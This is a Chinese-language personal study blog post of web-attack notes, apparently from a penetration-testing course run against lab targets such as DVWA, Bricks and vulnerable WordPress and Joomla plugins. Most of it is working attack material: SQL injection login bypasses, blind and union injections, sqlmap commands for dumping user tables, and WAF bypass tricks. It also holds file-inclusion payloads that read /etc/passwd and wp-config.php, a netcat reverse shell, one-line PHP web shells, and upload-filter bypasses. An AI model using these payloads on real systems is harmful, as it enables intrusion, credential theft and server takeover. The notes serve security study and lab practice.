Home 安全笔记--Web攻击技术
Post
Cancel

安全笔记--Web攻击技术

2 Web攻击技术

2.1 Web漏洞概述

  • OWASP(Opwn Web Application Security Project)
    • owaspbwa
  • 注入
  • 失效的身份认证和会话管理
    • Padding Oracle会话管理漏洞研究一波
      • 对称加密 + CBC
  • 跨站脚本(XSS)
  • 失效的访问控制
  • 敏感信息泄露
  • 攻击检测防范和不足
  • 跨站请求伪造(CSFR)

2.2 Web服务器的探测

  • WAF探测web application firewall
    • nmap的waf探测脚本
      • nmap -p 80 –script http-waf-detect.nse www.xxx.com
    • wafw00f
      • waf00f www.xxx.com
  • Web服务器负载均衡探测
    • CDN(content distribution network)内容分发网站
    • Cloudflare 一台服务器数据传到CDN厂商的各个节点,用户访问各个Cloudflare节点
    • lbd www.xxx.com 负载均衡探测
  • Web页面爬取
    • Dirbuster 网站目录和文件的遍历和猜解
      • 字典位置: /usr/share/dirbuster/wordlists/
    • httrack网站镜像/克隆
    • vbscan 探测vBulletin及其漏洞
    • vane/wpscan 探测Wordpress及其漏洞
    • joomscan 探测joomla及其漏洞

2.3 针对Web脚本的攻击

  • SQL注入漏洞攻击
    • Bricks
      • 第一题
        • 'or'1'='1
        • 'or'1
        • 如果不能输入单引号
          • 用户名:\
          • 密码: or 1#
      • 第二题(js查看网页源代码,js多了一道检测输入特殊字符的函数,需要绕过)
        • function onSubmitOfLoginForm(…)
        • 1.覆盖原函数(检查-console-可以覆盖原先的函数)
          • function onSubmitOfLoginForm (){ return true;}
        • 2.定义函数永远返回true
        • 3.输入万能密码即可
        • 4.禁用js中的执行
      • 第三题
        • 1')or('1=1
        • SELECT * FROM users WHERE name=('1')or('1=1') and password=('1')or('1=1') LIMIT 0,1
      • 第四题
        • 双引号
      • 第五题
        • 'or'1'# or 'or'1'--
        • #注释之后的sql语句
        • 微软数据库注释符 -- + 空格
        • md5散列(128bit 16byte 32ascii字符)
        • sha1(160bit 20byte 40ascii)
        • sha256(256bit 32byte 64ascii)
      • http://www.wechall.net/ 题库
      • 第六题
        • 重定向
      • 第七题
        • 先匹配用户名,在查询比对密码
        • 用户名:'and 0 union select md5('1'),md5('1'),md5('1'),md5('1'),md5('1'),md5('1'),md5('1'),md5('1')#
        • 密码:1
    • mysql常用语句
      • select version();
      • select database();
      • select user();
      • show databases;
      • use mysql;
      • show tables;
      • desc user; //描述user表
      • select Host,User,Password from user;
      • select Host,User,Password from user where User=’root’ and 1;
      • select Host,User,Password from user where User=’root’ and 0 union select 1,2,3; //让左边记录为空,控制右边的返回值
      • select Host,User,Password from user where User=’’ and 0 union select 1,2,md5(‘1’);
        • 用户名与sql语句合并,让原本sql语句为0,用select语句使每一列都是md5(‘1’)的值,然后在密码输入1,即可匹配,登录成功。
        • 先做and再做or
        • 库名表名区分大小写,列名不区分大小写
  • wordpress靶机漏洞
    • wpscan –url http://192.168.80.240/wordpress – enumerate p
    • /vane/vane.rb –url http://192.168.80.240/wordpress –enumerate p
      • data/plugins.txt
    • select * from xxx where ss_id=1 and 0 union select 1,version(),user(),database()#
    • %27->',%25->%,%5C->\
    • 验证是否存在漏洞:http://192.168.80.240/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 and 1=2
    • 使用union select联合插查询:http://192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 and 0 union select 1,group_concat(TABLE_NAME),3,4 from information_schema.TABLES where TABLE_SCHEMA=0x776F72647072657373 group by TABLE_SCHEMA #
    • group_concat 把相同的行归并在一起
  • msyql原表注入获取信息的方法(无法获得表的名字等相关信息)
    • 做一个测试,新建一个user表
      • create schema Test;
      • use Test;
      • create table users (id INT, username, password);
      • insert into users values (1, ‘admin’);
      • select * from users;
    • 通过use information_schema;获得数据库所有表名
      • tables 包含所有表名;
      • columns 包含所有字段名
      • select 1,2 from dual where 0 union select TABLE_SCHEMA,group_contat(TABLE_NAME) TABLE_NAME from information_schema, TABLES where TABLE_SCHEMA=’Test’ LIMIT 1; //获取Test数据库中的所有表名
      • select databse(); //获取当前数据库名字
      • select Host,User,Passoword from user \G;
      • hex(‘wordpress’); //776F72647072657373
      • select 776F72647072657373;
    • 只适用于mysql的报错法
      • select * form user where 0 and extractvalue(1,version());
      • /*!00000 payload */
      • 获取文件内容:http://192.168.80.240/wordpress/wp-content/plugins/wpSS/ss_handler.php?ss_id=1 and 1=0 union select 1,hex(load_file(‘/var/www/wordpress/wp-config.php’)),3,4–
  • 盲注sql注入方法
    • union select
    • error-based
    • time-based blind
    • 猜解法->二分折半猜解法(boolean-based blind)
      • 需要先判断变量长度len()
      • 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 +
        • and ascii(substr((select user() from wp_users limit 0,1),1,1))>128 //通过判断网页是否变化确定猜测是否正确
        • and ascii(substr((select user()),1,1))=119 //user变量第一个字符是w
        • 搜索user中的第一个字符ascii应该在0-255之前,一个一个尝试
        • 找到对应方法,使用ord(‘a’)或者chr(111)
        • 方法二:如果不能直接查看网页变化,可以通过是否超过5秒来判断是否符合标准
          • and if(ascii(substr((select user()),1,1))>128,1,sleep(5))# //if第一个参数是true,直接执行,若是false,调用sleep
        • 方法三:从页面返回时间判断是否完成,benchmark()性能判断函数
          • and if(ascii(substr((select user()),1,1))>118,1,benchmark(1000000,md5(0x20)))
  • sql注入工具
    • Pangolin
    • Hacij
    • Safe3
    • 啊D
    • SQLmap
      • sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 –fingerprint //判断这个url可以用哪些方式实现注入
        • $_GET[‘id’]
        • $_POST[‘id’]
        • $_COOKIE[‘id’]
        • request.get
        • request.form
        • request.cookie
        • request
      • sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 –dbs //获取数据库列表
      • sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 -D wordpress –tables //获取wordpress库中所有表
      • sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 -D wordpress -T wp_users –column //获得表中的所有列
      • sqlmap –url 192.168.10.50/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1 -D wordpress -T wp_users -C user_login,user_pass –dump //获取列中指定数据,导出数据
      • –count //获取数据数量
      • –start=1 –stop=5 //获取部分的数据
      • -tamper xxx.py //装载指定payload
      • sqlmap –purge-output //清除缓存
        • 数据缓存在/root/.sqlmap/output/
    • 绕过WAF
      • %09(tab键)代替空格
      • %0a(换行)%0d(回车)代替空格
      • 使用括号
      • 可以使用/*!00000user()*/在注释中实现运行语句
    • POST方式

      1
      2
      3
      4
      5
      6
      
        POST /login.php HTTP/1.1
        host:xxx
        User-agent:xxx
        Accept:...
        Content-type:...
        Content-length: 30 
      
      • username=xxx&password=123456
      • 使用火狐temper data插件
      • 注入时是请求数据包投向的url地址
      • sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=tt&password=123456” -p username –fingerprint
      • sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=tt&password=123456” -p username –dbs
      • sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=test&password=123456” -p username -D wackopicko –tables * sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=test&password=123456” -p username -D wackopicko -T users –columns * sqlmap -u “http://172.16.185.185/WackoPicko/users/login.php” –data=”username=test&password=123456” -p username -D wackopicko -T users -C id,login,password –dump
    • 宽字符编码绕过
      • php的addslash函数使得'变为\',在GBK编码中,若第一个字符大于%80则默认为双字符,使用%81%27,由于addslash使得变为%81%5c%27,而%81%5c则成为一个字符,从而使得单引号避免被转义
      • http://172.16.1.180/index.php?id=1
      • sqlmap 使用GET方法

2.4 文件包含漏洞攻击

  • 定义:服务器通过脚本代码在包含文件的时候过滤不严,从而注入一段攻击者能够控制的代码。
    • “本地文件包含漏洞”, 即Local File Inclusion, LFI。
    • 如果PHP的配置选项为“all_url_include”的话,则include/require函数可以加载远程文件,这种漏洞被称为“远程文件包含漏洞”,即Remote File Inclusion, RFI。
  • 本地文件包含漏洞
    • wpscan
    • vane
    • http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=/etc/passwd%00
    • http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=php://filter/read=convert.base64-encode/resource=../../../../wp-config.php%00
    • 在Firefox浏览器中设置本地代理,用nc监听传递的数据包
    • 把得到的字符串使用HackBar通过Base64解码PD9waHANCi8vICoqIE15U1FMIHNldHRpbmdzICoqIC8vDQpkZWZpbmUoJ0RCX05BTUUnLCAnd29yZHByZXNzJyk7ICAgIC8vIFRoZSBuYW1lIG9mIHRoZSBkYXRhYmFzZQ0KZGVmaW5lKCdEQl9VU0VSJywgJ3dvcmRwcmVzcycpOyAgICAgLy8gWW91ciBNeVNRTCB1c2VybmFtZQ0KZGVmaW5lKCdEQl9QQVNTV09SRCcsICd3b3JkcHJlc3MnKTsgLy8gLi4uYW5kIHBhc3N3b3JkDQpkZWZpbmUoJ0RCX0hPU1QnLCAnbG9jYWxob3N0Jyk7ICAgIC8vIDk5JSBjaGFuY2UgeW91IHdvbid0IG5lZWQgdG8gY2hhbmdlIHRoaXMgdmFsdWUNCg0KLy8gWW91IGNhbiBoYXZlIG11bHRpcGxlIGluc3RhbGxhdGlvbnMgaW4gb25lIGRhdGFiYXNlIGlmIHlvdSBnaXZlIGVhY2ggYSB1bmlxdWUgcHJlZml4DQokdGFibGVfcHJlZml4ICA9ICd3cF8nOyAgIC8vIE9ubHkgbnVtYmVycywgbGV0dGVycywgYW5kIHVuZGVyc2NvcmVzIHBsZWFzZSENCg0KLy8gQ2hhbmdlIHRoaXMgdG8gbG9jYWxpemUgV29yZFByZXNzLiAgQSBjb3JyZXNwb25kaW5nIE1PIGZpbGUgZm9yIHRoZQ0KLy8gY2hvc2VuIGxhbmd1YWdlIG11c3QgYmUgaW5zdGFsbGVkIHRvIHdwLWluY2x1ZGVzL2xhbmd1YWdlcy4NCi8vIEZvciBleGFtcGxlLCBpbnN0YWxsIGRlLm1vIHRvIHdwLWluY2x1ZGVzL2xhbmd1YWdlcyBhbmQgc2V0IFdQTEFORyB0byAnZGUnDQovLyB0byBlbmFibGUgR2VybWFuIGxhbmd1YWdlIHN1cHBvcnQuDQpkZWZpbmUgKCdXUExBTkcnLCAnJyk7DQoNCi8qIFRoYXQncyBhbGwsIHN0b3AgZWRpdGluZyEgSGFwcHkgYmxvZ2dpbmcuICovDQoNCmRlZmluZSgnQUJTUEFUSCcsIGRpcm5hbWUoX19GSUxFX18pLicvJyk7DQpyZXF1aXJlX29uY2UoQUJTUEFUSC4nd3Atc2V0dGluZ3MucGhwJyk7DQoNCmRlZmluZSgnUkVMT0NBVEUnLHRydWUpOw0KPz4=<?php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      
                // ** MySQL settings ** //
                define('DB_NAME', 'wordpress');    // The name of the database
                define('DB_USER', 'wordpress');     // Your MySQL username
                define('DB_PASSWORD', 'wordpress'); // ...and password
                define('DB_HOST', 'localhost');    // 99% chance you won't need to change this value
      
                // You can have multiple installations in one database if you give each a unique prefix 
                $table_prefix  = 'wp_';   // Only numbers, letters, and underscores please!
                // Change this to localize WordPress.  A corresponding MO file for the	
                // chosen language must be installed to wp-includes/languages.
                // For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
                // to enable German language support.
                define ('WPLANG', '');
      
                /* That's all, stop editing! Happy blogging. */
      
                define('ABSPATH', dirname(__FILE__).'/');
                require_once(ABSPATH.'wp-settings.php');
      
                define('RELOCATE',true);
                ?>
      
    • 远程文件包含漏洞all_url_include()
      • PHP中函数system\passthru\exec\exec_once可以实现执行系统命令
      • http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=php://input%00
      • Enable Post Data: <?system(“/sbin/ifconfig”)?>/<?system(“uname -a”)?>
      • 使用伪协议直接用get方式:http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php system(“id”);?>%00
      • 把php指令经过base64编码和url编码,替换原来的
      • http://172.16.1.227/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2V0Yy9wYXNzd2QnKTs%2fPg%3D%3D%00
2.5 命令注入漏洞攻击(Remote Command Execution, RCE)
  • 服务器通过脚本代码在 执行命令的时候过滤不严,从而注入一段攻击者能够 控制的代码,从而在服务器上以Web服务的后台权限 远程执行恶意指令。
  • nslookup 加分号再加别的命令可以获取linux信息。
    • 一般可以实现读写的文件
      • /tmp
      • /sbin/ifconfig
      • /etc/passwd
      • /var/www
  • nc监听,连接反弹shell
    • nc 172.16.185.167 -nlp 443
    • nc 172.16.185.167 443 -e /bin/sh
    • dirtycow提权
  • dvwa
    • user/user
    • 源码位置: /var/www/dvwa/vulnerabilities/exec/source/
    • `shell_command` 执行shell_command命令
    • $(shell_command) 执行shell_command命令
    • | shell_command 执行shell_command命令并返回结果
    • || shell_command 执行shell_command命令并返回结果
    • ; shell_command 执行shell_command命令并返回结果
    • && shell_command 执行shell_command命令并返回结果
    • > target_file 返回结果覆盖到target_file里
    • >> target_file 返回结果追加到target_file里
    • < target_file 把target_file的内容输入到之前的命令当中
      • operator 给目标指令添加额外的参数
2.6 文件上传漏洞攻击
  • Webshell
    • 大马/小马
    • 权限问题和功能问题
    • kali:weevely
  • 小马
    • CKnife
    • 蚁建
    • altman
  • CKnife
    • ctrl+l 文件管理器输入地址
    • 解压ckinfe,到路径下,
    • java -jar Cknife.jar运行ckinfe
    • @eval(_$POST('cmd'));一句话木马
    • hackbar中postdata中输入cmd= echo hello;
    • 第一题
      • 上传文件过程中,当需要检验文件格式时,若是前端检验,可以修改审查元素
      • 还可以修改文件格式,使用burpsuite抓包,在浏览器中使用本地代理,修改包的内容,改文件名
      • 之后使用Ckinfe获取服务器结构
    • 第二题(MIME类型验证)
      • 在burpsuite里修改文件类型为image/jpeg,然后就能避开检验
      • image/jpeg
    • 第三题(文件扩展名的黑名单验证)
      • strchr找第一个符合条件
      • strrchr找最后一个符合条件
      • 修改可以上传文件的后缀为php3,php4,php5
    • 第四题 文件内容格式验证
      • getimagesize($file_name);通过文件头部获得文件大小
      • 在木马中加入GIF89a即可绕过检测,被服务器判断是gif文件
      • 总结:改成合法类型、改成php3、改成合法的文件头
    • 第五题 文件拓展名白名单验证–子目录劫持
      • 篡改子目录upload/yyy.php%00/xxx.jpg * 在burpsuite中修改image改成tiny.php,再把proxy-hex中找到并把php之后的一个字节改为00。
    • 文件上传漏洞攻击

    • 提权大杀器工具,令牌攫取漏洞 pr

      • 神器:熟练掌握sqlmap,nmap,burpsuite,metaspolit,setoolkit
2.7 文件上传漏洞

上传文件攻击:

IIS6.0解析ASP漏洞
  1. 服务器上可执行文件名为.cer.cdx.asc
  2. cer证书最后加上小马@eval(_$POST('cmd'));实现。
  3. 在文件夹名为xxx.asp目录下,里面可以实现任意拓展名的文件都会在服务器上执行。
  4. 小马的文件名设置成pp.asp;.jpg
  5. 防御方法:服务器保存文件时自己定义文件名保存,不相信用户的输入
nginx解析php漏洞
  1. nginx<=0.8.37,用户访问xxx.jpg/xxx.php时服务器会把xxx.jpg当做PHP文件解析
使用网页编辑器中的漏洞

IIS6解析漏洞攻击

fckeditor/eitor/filemanager/upload fckeditor/eitor/filemanager/browser/default/connectors/asp/connector.asp

  • tamperdata查看服务器版本和类型:192.168.1.222/EditNews.html
  • 查看fckeditor版本:192.168.1.222/fckeditor/_whatsnew.html
  • http://192.168.1.222/fckeditor/editor/filemanager/browser/default/browser.html?connector=connectors/asp/connector.asp
  • http://192.168.1.222/fckeditor/editor/filemanager/browser/default/browser.html?connector=connectors/asp/connector.asp&type=Image
  • 192.168.1.222/userfiles/image/fck.asp/littlec01dstudy.jpg
  • 直接上传littlec01dstudy.asp;.jpg文件同样可以直接运行文件内容192.168.1.222/userfiles/image/littlec01dstudy.asp;.jpg
  • 或者在如下url中使用类似方法
    • 192.168.1.222/fckeditor/editor/filemanager/browser/default/connectors/test.html
    • 192.168.1.222/fckeditor/editor/filemanager/upload/test.html
    • 192.168.1.222/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Com mand=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
2.8 Web应用组件攻击

Kali:

  • whatWeb
Web应用服务和框架组件攻击
  1. Joomla3.2.1

    • whatweb/zoomeye/shodan.io搜索相关信息
    • 在exploit-db.com找到相关漏洞
      • 192.168.10.100/index.php/weblinks-categories?id=0 ) union select password from nnla5_users – )
      • 192.168.10.100/index.php/weblinks-categories?id=0 ) union select concat(0x5b,username,0x3a,password,0x5d) from nnla5_users limit 0,1 – )
      • 192.168.10.100/index.php/weblinks-categories?id=0%20%29%20union%20select%20password%20from%20%60nnla5_users%60%20–%20%29
      • admin:admin123
      • sqlmap -u ‘http://192.168.10.100/index.php/weblinks-categories?id=0’ –level=3 –dbs 把注入的语句用代替,使用*告知sqlmap在这里注入成功率较高
        • sqlmap:相比level1,level3是尝试更多的注入
        • sqlmap -u ‘http://192.168.10.100/index.php/weblinks-categories?id=0*’ –level=3 –dbs
  2. wordpress

    • Kali:wpscan
      • 主要使用plugin和数据库相关指令
      • wpscan -u http://192.168.10.116/wordpress –enumerate p
      • 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<php @eval($_POST[‘cmd’]);// wordpress一句话木马
      • 绕过方法:RFI to get shell
        • 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_POST[‘cmd’]);?>
        • data:text/plain,<?php @eval($_POST[‘cmd’]);?>
        • data:text/plain,<?php @eval($_POST[‘cmd’]);//
        • 发现可以执行phpinfo指令,192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_GET[‘cmd’]);?>&cmd=phpinfo();
        • 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_GET[‘cmd’]);?>&cmd=passthru(‘mysql -u wordpress -pwp_pass888 -A wordpress -e “show tables;”’);
        • 192.168.10.116/wordpress/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=data:text/plain,<?php @eval($_GET[‘cmd’]);?>&cmd=passthru(‘mysql -u wordpress -pwp_pass888 -A wordpress -e “select * from wp_users;”’);
        • passthru执行系统命令并且回显:-p后面不能有空格,要直接连接密码;单双引号使用分开,否则会不正常闭合
      • sqli to get shell
        • admin:wp_@dm!n
      • 插件实现WordPress渗透:jetpack
      • 上传插件时加入一句话木马
      • 上传路径在/wordpress/wp-content/plugins/akismet,在该路径下实现了渗透

问题

  1. SQL注入时select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 实际情况如下面的例子select count(*) from TSafe group by floor(rand(0)*2);
    • 表中必须有3条以上的记录才会报错
    • rand()函数的随机因子若不取,则会随机报错,设为固定值如rand(0),如表中有3条以上数据,就一定报错。
    • 原理:
      • 执行该条语句时,先建立虚表
      • floor(rand(0)*2)的返回值是011011…且查询时rand()会被反复执行,即在查询过程中每次匹配会重新计算rand()的值
      • 011011..第一次查询0,没有重新计算为1,产生第一条数据;第二次查询1,有count则直接加1为2;第三次查询0没有重新计算为1,此时有1但是仍要插入1,重复报错。
  2. [关键]在使用虚拟机的时候会遇到内存不足的情况,直接修改Vmware里的硬盘大小会导致虚拟机重启后无法开机。解决办法是需要重新划分硬盘和设置交换区,使用fdiskmkswap等工具实现。
This post is licensed under CC BY 4.0 by the author.

MongoDB自学笔记

emacs总结